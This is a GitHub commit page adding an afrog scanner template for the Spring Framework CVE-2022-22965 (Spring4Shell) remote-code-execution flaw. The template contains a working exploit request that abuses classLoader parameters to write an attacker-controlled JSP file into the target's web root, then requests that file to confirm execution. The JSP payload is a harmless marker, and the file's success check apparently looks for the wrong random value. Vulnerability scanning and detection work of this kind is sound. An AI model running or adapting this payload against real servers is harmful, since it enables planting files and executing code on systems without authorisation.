forked from zan8in/afrog
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add before sleep & fixed result append nil pointer bug
- Loading branch information
Showing
4 changed files
with
52 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
id: CVE-2022-22965 | ||
|
||
info: | ||
name: Spring Framework RCE JDK 9+ | ||
author: zan8in | ||
severity: critical | ||
description: | | ||
srping framework 结合JDK9及以上新版本的特性可以实现对历史漏洞补丁的绕过从而实现远程代码执行 | ||
Fofa: app="vmware-SpringBoot-Framework" | ||
reference: | ||
- https://nvd.nist.gov/vuln/detail/CVE-2022-22965 | ||
|
||
set: | ||
randTxt: randomInt(800000000, 1000000000) | ||
exploitName: randomInt(800000000, 1000000000) | ||
rules: | ||
r0: | ||
request: | ||
method: POST | ||
path: / | ||
headers: | ||
C2: "<%" | ||
Suffix: "%>" | ||
body: | | ||
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BC2%7Di%20if(%22j%22.equals(%22j%22))%7B%20out.println(new%20String(%22{{randTxt}}%22))%3B%20%7D%25%7BSuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix={{exploitName}}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= | ||
expression: response.status == 200 | ||
r1: | ||
before_sleep: 6 | ||
request: | ||
method: GET | ||
path: /{{exploitName}}.jsp | ||
expression: response.status == 200 && response.body.bcontains(b'{{exploitName}}') | ||
|
||
expression: r0() && r1() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters